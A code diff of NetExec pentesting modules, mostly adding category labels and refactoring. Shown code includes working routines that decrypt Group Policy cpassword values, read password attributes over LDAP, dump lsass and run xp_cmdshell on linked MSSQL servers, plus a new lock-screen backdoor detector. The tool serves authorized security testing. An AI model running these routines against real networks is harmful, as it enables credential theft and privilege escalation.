@@ -152,12 +142,12 @@ class NXCModule:
context.log.highlight(f"Found {len(outdata)} records")
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
with codecs.open(path, "w", "utf-8") as outfile:
with open(path, "w") as outfile:
for row in outdata:
if self.showhosts:
outfile.write(f"{row['name'] + '.' + connection.domain}\n")
outfile.write(f"{row['name'] + '.' + zone}\n")
elif self.showall:
outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
outfile.write(f"{row['name'] + '.' + zone} \t {row['value']}\n")
else:
outfile.write(f"{row['value']}\n")
context.log.success(f"Dumped {len(outdata)} records to {path}")
+66
View File
@@ -0,0 +1,66 @@
import json
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get the scriptPath attribute of users
Module by @wyndoo
"""
name = "get-scriptpath"
description = "Get the scriptPath attribute of all users."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
FILTER Apply the FILTER (grep-like) (default: '')
OUTPUTFILE Path to a file to save the results (default: None)
"""
self.filter = ""
self.outputfile = None
if "FILTER" in module_options:
self.filter = module_options["FILTER"]
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]
def on_login(self, context, connection):
# Building the search filter
resp = connection.search(
searchFilter="(scriptPath=*)",
attributes=["sAMAccountName", "scriptPath"]
)
context.log.debug(f"Total of records returned {len(resp)}")
answers = parse_result_attributes(resp)
context.log.debug(f"Filtering for scriptPath containing: {self.filter}")
filtered_answers = list(filter(lambda x: self.filter in x["scriptPath"], answers))
if filtered_answers:
context.log.success("Found the following attributes: ")
for answer in filtered_answers:
context.log.highlight(f"User: {answer['sAMAccountName']:<20} ScriptPath: {answer['scriptPath']}")
# Save the results to a file
if self.outputfile:
self.save_to_file(context, filtered_answers)
else:
context.log.fail("No results found after filtering.")
def save_to_file(self, context, answers):
"""Save the results to a JSON file."""
try:
# Format answers as a list of dictionaries for JSON output
json_data = [{"sAMAccountName": answer["sAMAccountName"], "scriptPath": answer["scriptPath"]} for answer in answers]
# Save the JSON data to the specified file
with open(self.outputfile, "w") as f:
json.dump(json_data, f, indent=4)
context.log.success(f"Results successfully saved to {self.outputfile}")
except Exception as e:
context.log.error(f"Failed to save results to file: {e}")
+2
View File
@@ -1,4 +1,5 @@
from impacket.ldap import ldap as ldap_impacket
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
@@ -12,6 +13,7 @@ class NXCModule:
name = "get-unixUserPassword"
description = "Get unixUserPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
+4 -2
View File
@@ -1,4 +1,5 @@
from impacket.ldap import ldap as ldap_impacket
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
@@ -12,6 +13,7 @@ class NXCModule:
name = "get-userPassword"
description = "Get userPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
@@ -39,6 +41,6 @@ class NXCModule:
resp_parsed = parse_result_attributes(resp)
context.log.success("Found following users: ")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
context.log.highlight(f"User: {user['sAMAccountName']} userPassword: {user['userPassword']}")
else:
context.log.fail("No unixUserPassword Found")
context.log.fail("No userPassword Found")
+3 -1
View File
@@ -1,5 +1,6 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
import json
@@ -14,13 +15,14 @@ class NXCModule:
name = "get_netconnections"
description = "Uses WMI to query network connections."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
data = []
cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
cards = connection.wmi_query("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
if cards:
for c in cards:
if c["IPAddress"].get("value"):
+28 -31
View File
@@ -1,5 +1,6 @@
import xml.etree.ElementTree as ET
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -11,47 +12,43 @@ class NXCModule:
name = "gpp_autologin"
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
"""No options available."""
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for Registry.xml")
context.log.display("Searching SYSVOL share for Registry.xml")
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
xml_section = xml.findall(".//Properties")
xml_section = xml.findall(".//Properties")
for section in xml_section:
attrs = section.attrib
for section in xml_section:
attrs = section.attrib
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
+60 -62
View File
@@ -3,6 +3,7 @@ from Cryptodome.Cipher import AES
from base64 import b64decode
from binascii import unhexlify
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -14,86 +15,83 @@ class NXCModule:
name = "gpp_password"
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
"""No options available"""
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for potential XML files containing passwords")
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
paths = connection.spider(
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
paths = connection.spider(
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
if "Groups.xml" in path:
sections.append("./User/Properties")
if "Groups.xml" in path:
sections.append("./User/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
password = self.decrypt_cpassword(props["cpassword"])
password = self.decrypt_cpassword(props["cpassword"])
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
def decrypt_cpassword(self, cpassword):
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
+70 -93
View File
@@ -1,7 +1,9 @@
import ssl
import ldap3
import re
from io import BytesIO
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -13,6 +15,7 @@ class NXCModule:
name = "gpp_privileges"
description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
@@ -96,24 +99,25 @@ class NXCModule:
self.no_ldap = module_options.get("NO_LDAP", False)
def on_login(self, context, connection):
self.context = context
try:
connection.conn.listPath("SYSVOL", "*")
except Exception as e:
context.log.fail(f"Failed to list shares: {e}")
self.context.log.fail(f"Failed to list shares: {e}")
return
context.log.display("Searching for GptTmpl.inf files")
self.context.log.display("Searching for GptTmpl.inf files")
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
if not paths:
context.log.warning("No GptTmpl.inf files found in SYSVOL.")
self.context.log.warning("No GptTmpl.inf files found in SYSVOL.")
return
for path in paths:
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
else:
context.log.info(f"Found GptTmpl.inf: {path}")
self.context.log.info(f"Found GptTmpl.inf: {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
@@ -121,22 +125,32 @@ class NXCModule:
try:
content = buf.getvalue().decode("utf-16le")
except UnicodeDecodeError as e:
context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
continue
privileges = self.extract_privileges(content)
if privileges:
ldap_connection = None
base_dn = None
if not self.no_ldap:
ldap_connection = self.initialize_ldap_connection(context, connection)
ldap_connection = self.initialize_ldap_connection(connection)
base_dn = self.get_basedn(ldap_connection)
context.log.success(f"Privileges extracted from {path}:")
self.context.log.success(f"Privileges extracted from {path}:")
for privilege, sids in privileges.items():
resolved_sids = [self.resolve_sid(context, sid, ldap_connection) for sid in sids]
context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
resolved_sids = [self.resolve_sid(sid, ldap_connection, base_dn) for sid in sids]
self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
if ldap_connection:
ldap_connection.unbind()
ldap_connection.close()
def get_basedn(self, ldap_connection):
root = ldap_connection.search(
scope=ldapasn1_impacket.Scope("baseObject"),
attributes=["defaultNamingContext"],
sizeLimit=0,
)
return parse_result_attributes(root)[0]["defaultNamingContext"]
def extract_privileges(self, content):
"""Parses the content of GptTmpl.inf to extract privilege rights."""
@@ -157,101 +171,64 @@ class NXCModule:
return privileges
def initialize_ldap_connection(self, context, connection):
def initialize_ldap_connection(self, connection):
"""
Initializes an LDAP connection using LDAP3 with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
"""
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
base_dn = None
ldap_connection = None
try:
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, tls=tls, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.success("Connected to LDAP over SSL (LDAPS).")
ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host)
if connection.kerberos:
ldap_connection.kerberosLogin(
connection.username,
connection.password or "",
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey or "",
kdcHost=connection.kdcHost,
useCache=bool(connection.use_kcache),
)
else:
ldap_connection.login(
user=connection.username,
password=connection.password or "",
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
)
self.context.log.success("Connected to LDAP.")
except Exception as e:
self.context.log.fail(f"LDAP connection failed: {e}")
return None
return ldap_connection
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldaps_error:
context.log.warning(f"LDAPS connection failed: {ldaps_error}")
context.log.info("Falling back to plain LDAP...")
try:
ldap_server = ldap3.Server(connection.host, use_ssl=False, port=389, get_info=ldap3.ALL)
ldap_connection = ldap3.Connection(
ldap_server,
user=f"{connection.domain}\\{connection.username}",
password=connection.password,
authentication=ldap3.NTLM,
raise_exceptions=True,
)
ldap_connection.bind()
context.log.info("Connected to LDAP successfully (plaintext).")
try:
base_dn = ldap_server.info.other.get("defaultNamingContext", [None])[0]
except Exception as e:
context.log.warning(f"Failed to query Root DSE for defaultNamingContext over plaintext LDAP: {e}")
if not base_dn:
domain_parts = connection.domain.split(".")
base_dn = ",".join([f"dc={part}" for part in domain_parts])
context.log.info(f"Derived base DN: {base_dn}")
ldap_connection.base_dn = base_dn
return ldap_connection
except Exception as ldap_error:
context.log.error(f"Failed to connect to LDAP: {ldap_error}")
return None
def resolve_sid(self, context, sid, ldap_connection):
def resolve_sid(self, sid, ldap_connection, base_dn):
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
if sid in self.WELL_KNOWN_SIDS:
return self.WELL_KNOWN_SIDS[sid]
if ldap_connection and ldap_connection.bound:
if ldap_connection:
try:
base_dn = getattr(ldap_connection, "base_dn", None)
if not base_dn:
context.log.warning(f"No base DN found for LDAP connection. Cannot resolve SID {sid}.")
return sid
search_filter = f"(objectSid={ldap3.utils.conv.escape_filter_chars(sid)})"
ldap_connection.search(
search_base=base_dn,
search_filter=search_filter,
resp = ldap_connection.search(
searchBase=base_dn,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)
if ldap_connection.entries:
entry = ldap_connection.entries[0]
return f"{entry['sAMAccountName']}"
parsed_result = parse_result_attributes(resp)
if parsed_result and "sAMAccountName" in parsed_result[0]:
return f"{parsed_result[0]['sAMAccountName']}"
else:
context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPSearchError:
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPFilterSyntaxError:
self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.")
except Exception as e:
context.log.error(f"Failed to resolve SID {sid} via LDAP: {e}")
self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}")
else:
context.log.warning(f"LDAP connection not established or unbound. Returning raw SID: {sid}")
self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}")
return sid
+3 -1
View File
@@ -1,5 +1,6 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,6 +14,7 @@ class NXCModule:
name = "group-mem"
description = "[REMOVED] Retrieves all the members within a Group"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
primaryGroupID = ""
answers = []
@@ -35,7 +37,7 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
context.log.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
return None
# First look up the SID of the group passed in
+2
View File
@@ -1,6 +1,7 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -15,6 +16,7 @@ class NXCModule:
name = "groupmembership"
description = "Query the groups to which a user belongs."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""USER Choose a username to query group membership"""
+10 -11
View File
@@ -7,6 +7,7 @@ import re
import sys
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from pypykatz.pypykatz import pypykatz
@@ -14,6 +15,7 @@ class NXCModule:
name = "handlekatz"
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
r"""
@@ -124,20 +126,17 @@ class NXCModule:
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
with open(self.dir_result + machine_name, "rb") as h_in, open(self.dir_result + machine_name + ".decode", "wb") as h_out:
bytes_in = bytearray(h_in.read())
bytes_in = bytearray(h_in.read())
bytes_in_len = len(bytes_in)
context.log.display(f"Deobfuscating, this might take a while (size: {len(bytes_in)} bytes)")
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
chunks = [bytes_in[i: i + 1000000] for i in range(0, len(bytes_in), 1000000)]
for chunk in chunks:
for i in range(len(chunk)):
chunk[i] ^= 0x41
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
for chunk in chunks:
for i in range(len(chunk)):
chunk[i] ^= 0x41
h_out.write(bytes(chunk))
h_out.write(bytes(chunk))
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
try:
+2
View File
@@ -8,6 +8,7 @@ from lsassy.dumper import Dumper
from lsassy.parser import Parser
from lsassy.session import Session
from lsassy.impacketfile import ImpacketFile
from nxc.helpers.misc import CATEGORY
credentials_data = []
found_users = []
@@ -130,6 +131,7 @@ class NXCModule:
name = "hash_spider"
description = "Dump lsass recursively from a given hash using BH to find local admins"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
+2
View File
@@ -1,6 +1,7 @@
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -9,6 +10,7 @@ class NXCModule:
name = "hyperv-host"
description = "Performs a registry query on the VM to lookup its HyperV Host"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
+5 -4
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
@@ -8,12 +11,10 @@ class NXCModule:
name = "iis"
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
supported_protocols = ["smb"]
def __init__(self):
pass
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
pass
"""No options available"""
def on_admin_login(self, context, connection):
self.check_appcmd(context, connection)
+3 -1
View File
@@ -7,6 +7,7 @@ from base64 import b64decode
from os import path
import sys
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import DATA_PATH
@@ -14,6 +15,7 @@ class NXCModule:
name = "impersonate"
description = "List and impersonate tokens to run command as locally logged on users"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
@@ -99,7 +101,7 @@ class NXCModule:
context.log.fail("Invalid token ID submitted")
except Exception as e:
context.log.fail(f"Error runing command: {e}")
context.log.fail(f"Error running command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
+2
View File
@@ -1,12 +1,14 @@
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5 import scmr
from impacket.examples.secretsdump import RemoteOperations
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "install_elevated"
description = "Checks for AlwaysInstallElevated"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
""" """
+11 -8
View File
@@ -4,15 +4,17 @@
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter
from impacket.dcerpc.v5.dcomrt import IObjectExporter, IID_IObjectExporter
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
name = "ioxidresolver"
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
@@ -20,12 +22,13 @@ class NXCModule:
def on_login(self, context, connection):
try:
rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
rpctransport.setRemoteHost(connection.host)
portmap = rpctransport.get_dce_rpc()
portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
portmap.connect()
portmap = NXCRPCConnection(connection, force_tcp=True).connect(
None,
IID_IObjectExporter,
target_ip=connection.host,
auth_level=RPC_C_AUTHN_LEVEL_NONE,
anonymous_rpc=True,
)
objExporter = IObjectExporter(portmap)
bindings = objExporter.ServerAlive2()
+2
View File
@@ -1,4 +1,5 @@
from csv import reader
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,6 +13,7 @@ class NXCModule:
name = "keepass_discover"
description = "Search for KeePass-related files and process."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.search_type = "ALL"
+2
View File
@@ -5,6 +5,7 @@ from csv import reader
from base64 import b64encode
from io import BytesIO, StringIO
from xml.etree import ElementTree as ET
from nxc.helpers.misc import CATEGORY
from nxc.helpers.powershell import get_ps_script
from nxc.paths import TMP_PATH
@@ -21,6 +22,7 @@ class NXCModule:
name = "keepass_trigger"
description = "Set up a malicious KeePass trigger to export the database in cleartext."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
# while the module only executes legit powershell commands on the target (search and edit files)
# some EDR like Trend Micro flag base64-encoded powershell as malicious
# the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target
+2
View File
@@ -1,6 +1,7 @@
import json
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import CATEGORY
from nxc.protocols.ldap.laps import LAPSv2Extract
@@ -17,6 +18,7 @@ class NXCModule:
name = "laps"
description = "Retrieves all LAPS passwords which the account has read permissions for."
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
+2
View File
@@ -13,6 +13,7 @@ from asyauth.common.credentials.kerberos import KerberosCredential
from asysocks.unicomm.common.target import UniTarget, UniProto
import contextlib
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -25,6 +26,7 @@ class NXCModule:
name = "ldap-checker"
description = "[REMOVED] Checks whether LDAP signing and channel binding are required and / or enforced"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available."""
+4
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enable or disable xp_cmdshell on a linked MSSQL server
@@ -7,6 +10,7 @@ class NXCModule:
name = "link_enable_cmdshell"
description = "Enable or disable xp_cmdshell on a linked MSSQL server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.action = None
+5 -1
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Run xp_cmdshell commands on a linked SQL server
@@ -7,6 +10,7 @@ class NXCModule:
name = "link_xpcmd"
description = "Run xp_cmdshell commands on a linked SQL server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.linked_server = None
@@ -36,7 +40,7 @@ class NXCModule:
output_lines = []
for row in result:
output_value = row.get("output")
if output_value and output_value != "NULL":
if output_value:
output_lines.append(str(output_value))
if output_lines:
+89
View File
@@ -0,0 +1,89 @@
from io import BytesIO
import pefile
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module for detecting Windows lock screen backdoors
Module by @E1A
"""
name = "lockscreendoors"
description = "Detect Windows lock screen backdoors by checking FileDescriptions of accessibility binaries."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self):
# List of exe names with expected descriptions
self.expected_descriptions = {
"utilman.exe": ["Utility Manager"],
"narrator.exe": ["Screen Reader", "Narrator"],
"sethc.exe": ["Accessibility shortcut keys"],
"osk.exe": ["Accessibility On-Screen Keyboard"],
"magnify.exe": ["Microsoft Screen Magnifier"],
"EaseOfAccessDialog.exe": ["Ease of Access Dialog Host"],
"voiceaccess.exe": ["Voice access"], # Only on Windows 11 / Server 2025+
"displayswitch.exe": ["Display Switch"],
"atbroker.exe": ["Windows Assistive Technology Manager", "Transitions Accessible technologies between desktops"],
}
# If description matches one of these it's almost certainly backdoored
self.backdoor_descriptions = [
"Windows Command Processor",
"Windows PowerShell"
]
def options(self, context, module_options):
"""No options available"""
def get_description(self, binary_data):
# Extract the file description from version info
try:
pe = pefile.PE(data=binary_data, fast_load=True)
pe.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_RESOURCE"]])
for fileinfo in pe.FileInfo:
for entry in fileinfo:
if entry.Key.decode() == "StringFileInfo":
for st in entry.StringTable:
desc = st.entries.get(b"FileDescription")
if desc:
return desc.decode().strip()
except Exception as e:
self.context.log.debug(f"Failed to extract PE info: {e}")
return None
def on_admin_login(self, context, connection):
target_path = "\\Windows\\System32"
tampered = False
for exe, expected_descs in self.expected_descriptions.items():
try:
# Grab the binary from the share
buf = BytesIO()
connection.conn.getFile("C$", f"{target_path}\\{exe}", buf.write)
binary = buf.getvalue()
# Extract and normalize the file description
file_desc = self.get_description(binary)
if not file_desc:
context.log.fail(f"{exe}: could not extract FileDescription")
continue
# Check if the description is as expected
if file_desc not in expected_descs:
tampered = True
if file_desc in self.backdoor_descriptions:
context.log.highlight(f"BACKDOOR DETECTED: {exe} has FileDescription '{file_desc}'")
else:
if len(expected_descs) == 1:
expected_str = f"'{expected_descs[0]}'"
else:
expected_str = ", ".join(f"'{d}'" for d in expected_descs)
expected_str = f"one of: {expected_str}"
context.log.highlight(f"SUSPICIOUS: {exe} has unexpected FileDescription '{file_desc}' (expected {expected_str})")
except Exception as e:
context.log.debug(f"Failed to process {exe}: {e}")
if not tampered:
context.log.display("All lock screen executable descriptions are consistent with the expected values")
+4 -2
View File
@@ -14,6 +14,7 @@ from lsassy.session import Session
from impacket.krb5.ccache import CCache
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
@@ -21,6 +22,7 @@ class NXCModule:
name = "lsassy"
description = "Dump lsass and parse the result remotely with lsassy"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
self.context = context
@@ -65,7 +67,7 @@ class NXCModule:
session.get_session(
address=host,
target_ip=host,
port=445,
port=connection.port,
lmhash=lmhash,
nthash=nthash,
username=username,
@@ -185,7 +187,7 @@ class NXCModule:
context.log.fail(f"Error writing ticket {filename}: {e}")
if ticket_count > 0:
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
